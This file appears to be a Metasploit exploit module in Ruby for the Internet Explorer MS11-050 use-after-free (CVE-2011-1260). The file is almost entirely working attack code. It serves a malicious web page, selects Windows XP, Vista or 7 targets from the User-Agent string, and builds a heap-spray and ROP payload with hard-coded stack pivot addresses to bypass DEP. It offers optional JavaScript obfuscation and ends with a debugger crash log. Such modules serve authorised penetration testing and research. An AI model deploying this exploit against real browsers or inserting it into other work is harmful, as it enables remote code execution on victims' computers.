285 lines
9.4 KiB
Ruby
285 lines
9.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "7.0",
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:ua_maxver => "8.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free",
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'Description' => %q{
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This module exploits a use-after-free vulnerability in Internet Explorer. The
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vulnerability occurs when an invalid <object> tag exists and other elements
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overlap/cover where the object tag should be when rendered (due to their
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styles/positioning). The mshtml!CObjectElement is then freed from memory because
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it is invalid. However, the mshtml!CDisplay object for the page continues to keep
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a reference to the freed <object> and attempts to call a function on it, leading
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to the use-after-free.
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Please note that for IE 8 targets, JRE (Java Runtime Environment) is required
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to bypass DEP (Data Execution Prevention).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'd0c_s4vage', #Discovery, poc
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'sinn3r', #ROP (thx corelanc0d3r), Windows 7
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'bannedit' #Windows 7
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],
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'References' =>
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[
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['CVE', '2011-1260'],
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['OSVDB', '72950'],
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['MSB', 'MS11-050'],
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['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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# In IE6 the mshtml!CObjectElement size is 0xac
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[
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'Internet Explorer 7 on XP SP3',
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{
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'Rop' => false,
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'Ret' => nil, #Not required for non-ROP targets
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'TargetAddr' => 0x0c0c0c0c, #For vtable
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'ObjSize' => '0xB0', #mshtml!CObjectElement size
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'Offset' => '0x01',
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}
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],
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[
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'Internet Explorer 7 on Windows Vista',
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{
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'Rop' => false,
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'Ret' => nil, #Not required for non-ROP targets
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'TargetAddr' => 0x0c0c0c0c, #For vtable
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'ObjSize' => '0xB0', #mshtml!CObjectElement size
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'Offset' => '0x01',
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}
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],
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[
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'Internet Explorer 8 on XP SP3',
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{
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'Rop' => true,
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'Ret' => 0x7C348B05, #Stack pivot (xchg eax,esp; retn from java)
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'TargetAddr' => 0x0c0c0c0c, #For vtable
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'ObjSize' => '0xE0', #mshtml!CObjectElement size
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'Offset' => '0x5E2',
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}
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],
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[
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'Internet Explorer 8 on Windows 7',
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{
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'Rop' => true,
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'Ret' => 0x7C348B05, #Stack pivot (xchg eax,esp; retn from java)
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'TargetAddr' => 0x0c0c0c0c, #For vtable
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'ObjSize' => '0xE0', #mshtml!CObjectElement size
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'Offset' => '0x5F4',
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}
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],
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[ 'Debug Target (Crash)', {} ],
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],
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'DisclosureDate' => "Jun 16 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def auto_target(cli, request)
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agent = request.headers['User-Agent']
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
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#Windows XP + IE7
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mytarget = targets[1]
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
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#Windows Vista + IE7
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mytarget = targets[2]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
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#Windows XP + IE8
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mytarget = targets[3]
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
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#Windows 7 + IE8
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mytarget = targets[4]
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else
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mytarget = nil
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end
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return mytarget
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end
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def on_request_uri(cli, request)
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#Set default target
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mytarget = target
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debug = false
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if target.name == 'Automatic'
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mytarget = auto_target(cli, request)
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if mytarget.nil?
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agent = request.headers['User-Agent']
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print_error("Unknown User-Agent #{agent}")
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send_not_found(cli)
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return
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end
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elsif target.name =~ /Debug/
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debug = true
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end
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if debug
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data = <<-DATA
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<html>
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<body>
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<script language='javascript'>
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document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
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document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
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document.body.innerHTML += "AAAAAAA";
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document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
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</script>
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</body>
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</html>
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DATA
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print_status("Triggering vulnerability (target: #{mytarget.name})...")
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send_response(cli, data, { 'Content-Type' => 'text/html' })
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return
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end
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if mytarget['Rop']
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p = make_nops(44) #Nops
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p << "\xeb\x04\xff\xff" #Jmp over the pivot
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p << [mytarget.ret].pack('V') #Stack pivot
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p << payload.encoded
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rop_payload = generate_rop_payload('java', p)
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end
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code = (rop_payload) ? rop_payload : payload.encoded
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# fill the vtable
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vtable = [mytarget['TargetAddr']].pack('V*')
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#Convert code format so we can unescape() in JavaScript
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code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
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vtable_js = Rex::Text.to_unescape(vtable, Rex::Arch.endian(target.arch))
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#Extract string based on what the setup is
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if mytarget.name == 'Internet Explorer 8 on XP SP3'
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js_extract_str = "var block = shellcode.substring(2, 0x20000-0x21);"
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elsif mytarget.name == 'Internet Explorer 8 on Windows 7'
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js_extract_str = "var block = shellcode.substring(0, (0x7ffc0-6)/2);"
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else
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js_extract_str = "var block = shellcode.substring(0, (0x40000-6)/2);"
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end
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js = <<-JS
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function timedRefresh(timeoutPeriod) {
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setTimeout("location.reload(true);",timeoutPeriod);
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}
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function enable_lfh(heaplib_obj, obj_size, max) {
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var vtable = unescape("#{vtable_js}");
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while (vtable.length < obj_size) vtable += vtable;
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var obj = vtable.substring(0, (obj_size-6)/2);
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for (var i=1; i < max; i++) {
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heaplib_obj.alloc(obj);
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}
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}
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function heap_spray(heaplib_obj, offset) {
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var code = unescape("#{code_js}");
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var nops = unescape("%u0c0c%u0c0c");
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while (nops.length < 0x1000) nops += nops;
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offset = nops.substring(0, #{mytarget['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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#{js_extract_str}
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heaplib_obj.gc();
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for (var i2=0; i2 < 0x400-1; i2++) {
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heaplib_obj.alloc(block);
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}
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}
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heap = new heapLib.ie(0x20000);
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heap_spray(heap, #{mytarget['Offset']});
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enable_lfh(heap, #{mytarget['ObjSize']}, 0x200);
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document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
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enable_lfh(heap, #{mytarget['ObjSize']}, 0x200);
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document.body.innerHTML += "<a id='tag_4' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
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enable_lfh(heap, #{mytarget['ObjSize']}, 0x200);
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document.body.innerHTML += "BBBBBBBBBBBBBBBBBBBBBBB";
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enable_lfh(heap, #{mytarget['ObjSize']}, 0x500);
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document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
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timedRefresh(2000);
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JS
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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html = <<-HTML
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<html>
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<body>
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<script language='javascript'>
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#{js}
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</script>
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</body>
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</html>
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HTML
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print_status("Sending exploit (#{mytarget.name})...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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(b00.1ac): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=0c0c0c0c ebx=0294b920 ecx=0bb300c8 edx=00000000 esi=020be380 edi=00000000
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eip=6363fcc6 esp=020be354 ebp=020be36c iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
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mshtml!CElement::Doc+0x2:
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6363fcc6 8b5070 mov edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????
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=end
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